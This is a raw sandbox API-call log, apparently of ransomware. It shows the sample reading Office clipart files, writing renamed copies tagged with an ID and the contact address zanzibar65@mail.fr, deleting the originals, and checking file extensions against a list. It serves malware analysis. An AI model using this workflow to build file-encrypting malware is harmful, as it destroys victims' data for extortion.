[0051.300] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.300] SetEndOfFile (hFile=0x170) returned 1 [0051.301] CloseHandle (hObject=0x170) returned 1 [0051.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0051.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0051.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0051.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0051.302] lstrlenW (lpString=".doc") returned 4 [0051.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.302] lstrlenW (lpString=".docx") returned 5 [0051.302] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.302] lstrlenW (lpString=".pdf") returned 4 [0051.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.302] lstrlenW (lpString=".xls") returned 4 [0051.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.302] lstrlenW (lpString=".xlsx") returned 5 [0051.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.302] lstrlenW (lpString=".ppt") returned 4 [0051.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0051.302] lstrlenW (lpString=".zip") returned 4 [0051.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.302] lstrlenW (lpString=".rar") returned 4 [0051.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.302] lstrlenW (lpString=".bz2") returned 4 [0051.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.302] lstrlenW (lpString=".7z") returned 3 [0051.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0051.302] lstrlenW (lpString=".dbf") returned 4 [0051.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0051.302] lstrlenW (lpString=".1cd") returned 4 [0051.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0051.302] lstrlenW (lpString=".jpg") returned 4 [0051.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.303] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=9240) returned 1 [0051.303] CloseHandle (hObject=0x170) returned 1 [0051.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 0x20 [0051.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0051.303] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.303] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.304] GetLastError () returned 0x0 [0051.304] ReadFile (in: hFile=0x170, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x2418, lpOverlapped=0x0) returned 1 [0051.305] WriteFile (in: hFile=0x1f8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x2420, lpOverlapped=0x0) returned 1 [0051.306] ReadFile (in: hFile=0x170, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0051.306] WriteFile (in: hFile=0x1f8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.306] SetEndOfFile (hFile=0x1f8) returned 1 [0051.306] CloseHandle (hObject=0x1f8) returned 1 [0051.307] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.307] SetEndOfFile (hFile=0x170) returned 1 [0051.307] CloseHandle (hObject=0x170) returned 1 [0051.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0051.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0051.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0051.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0051.308] lstrlenW (lpString=".doc") returned 4 [0051.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.308] lstrlenW (lpString=".docx") returned 5 [0051.308] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.308] lstrlenW (lpString=".pdf") returned 4 [0051.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.308] lstrlenW (lpString=".xls") returned 4 [0051.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.308] lstrlenW (lpString=".xlsx") returned 5 [0051.308] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.308] lstrlenW (lpString=".ppt") returned 4 [0051.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0051.308] lstrlenW (lpString=".zip") returned 4 [0051.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.308] lstrlenW (lpString=".rar") returned 4 [0051.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.309] lstrlenW (lpString=".bz2") returned 4 [0051.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.309] lstrlenW (lpString=".7z") returned 3 [0051.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0051.309] lstrlenW (lpString=".dbf") returned 4 [0051.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0051.309] lstrlenW (lpString=".1cd") returned 4 [0051.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0051.309] lstrlenW (lpString=".jpg") returned 4 [0051.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.309] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=2344) returned 1 [0051.309] CloseHandle (hObject=0x170) returned 1 [0051.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 0x20 [0051.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0051.309] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.310] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.310] GetLastError () returned 0x0 [0051.310] ReadFile (in: hFile=0x170, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x928, lpOverlapped=0x0) returned 1 [0051.312] WriteFile (in: hFile=0x1f8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x930, lpOverlapped=0x0) returned 1 [0051.312] ReadFile (in: hFile=0x170, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0051.312] WriteFile (in: hFile=0x1f8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.313] SetEndOfFile (hFile=0x1f8) returned 1 [0051.313] CloseHandle (hObject=0x1f8) returned 1 [0051.313] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.313] SetEndOfFile (hFile=0x170) returned 1 [0051.314] CloseHandle (hObject=0x170) returned 1 [0051.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0051.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0051.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0051.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0051.314] lstrlenW (lpString=".doc") returned 4 [0051.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.314] lstrlenW (lpString=".docx") returned 5 [0051.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.314] lstrlenW (lpString=".pdf") returned 4 [0051.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.314] lstrlenW (lpString=".xls") returned 4 [0051.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.314] lstrlenW (lpString=".xlsx") returned 5 [0051.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.314] lstrlenW (lpString=".ppt") returned 4 [0051.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0051.314] lstrlenW (lpString=".zip") returned 4 [0051.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.315] lstrlenW (lpString=".rar") returned 4 [0051.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.315] lstrlenW (lpString=".bz2") returned 4 [0051.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.315] lstrlenW (lpString=".7z") returned 3 [0051.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0051.315] lstrlenW (lpString=".dbf") returned 4 [0051.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0051.315] lstrlenW (lpString=".1cd") returned 4 [0051.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0051.315] lstrlenW (lpString=".jpg") returned 4 [0051.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.315] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=6060) returned 1 [0051.315] CloseHandle (hObject=0x170) returned 1 [0051.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 0x20 [0051.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0051.316] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.316] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.318] GetLastError () returned 0x0 [0051.318] ReadFile (in: hFile=0x170, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x17ac, lpOverlapped=0x0) returned 1 [0052.339] WriteFile (in: hFile=0x1f8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x17b0, lpOverlapped=0x0) returned 1 [0052.339] ReadFile (in: hFile=0x170, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0052.340] WriteFile (in: hFile=0x1f8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.340] SetEndOfFile (hFile=0x1f8) returned 1 [0052.737] CloseHandle (hObject=0x1f8) returned 1 [0052.737] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.737] SetEndOfFile (hFile=0x170) returned 1 [0052.738] CloseHandle (hObject=0x170) returned 1 [0052.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0052.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0052.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0052.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0052.972] lstrlenW (lpString=".doc") returned 4 [0052.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.972] lstrlenW (lpString=".docx") returned 5 [0052.972] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.972] lstrlenW (lpString=".pdf") returned 4 [0052.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.972] lstrlenW (lpString=".xls") returned 4 [0052.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.973] lstrlenW (lpString=".xlsx") returned 5 [0052.973] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.973] lstrlenW (lpString=".ppt") returned 4 [0052.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0052.973] lstrlenW (lpString=".zip") returned 4 [0052.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.973] lstrlenW (lpString=".rar") returned 4 [0052.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.973] lstrlenW (lpString=".bz2") returned 4 [0052.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.973] lstrlenW (lpString=".7z") returned 3 [0052.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0052.973] lstrlenW (lpString=".dbf") returned 4 [0052.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0052.973] lstrlenW (lpString=".1cd") returned 4 [0052.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0052.973] lstrlenW (lpString=".jpg") returned 4 [0052.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.490] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.496] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.510] GetLastError () returned 0x0 [0054.518] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0054.531] WriteFile (in: hFile=0x234, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0054.538] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.538] WriteFile (in: hFile=0x234, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.538] SetEndOfFile (hFile=0x234) returned 1 [0054.539] CloseHandle (hObject=0x234) returned 1 [0054.539] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.539] SetEndOfFile (hFile=0x228) returned 1 [0054.540] CloseHandle (hObject=0x228) returned 1 [0054.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.540] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0054.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0054.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0054.541] lstrlenW (lpString=".doc") returned 4 [0054.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.541] lstrlenW (lpString=".docx") returned 5 [0054.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.542] lstrlenW (lpString=".pdf") returned 4 [0054.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.542] lstrlenW (lpString=".xls") returned 4 [0054.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.542] lstrlenW (lpString=".xlsx") returned 5 [0054.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.542] lstrlenW (lpString=".ppt") returned 4 [0054.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0054.542] lstrlenW (lpString=".zip") returned 4 [0054.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.542] lstrlenW (lpString=".rar") returned 4 [0054.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.542] lstrlenW (lpString=".bz2") returned 4 [0054.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.542] lstrlenW (lpString=".7z") returned 3 [0054.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0054.542] lstrlenW (lpString=".dbf") returned 4 [0054.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0054.542] lstrlenW (lpString=".1cd") returned 4 [0054.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0054.542] lstrlenW (lpString=".jpg") returned 4 [0054.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.543] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.543] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.543] GetLastError () returned 0x0 [0054.543] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x7114, lpOverlapped=0x0) returned 1 [0054.545] WriteFile (in: hFile=0x234, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, 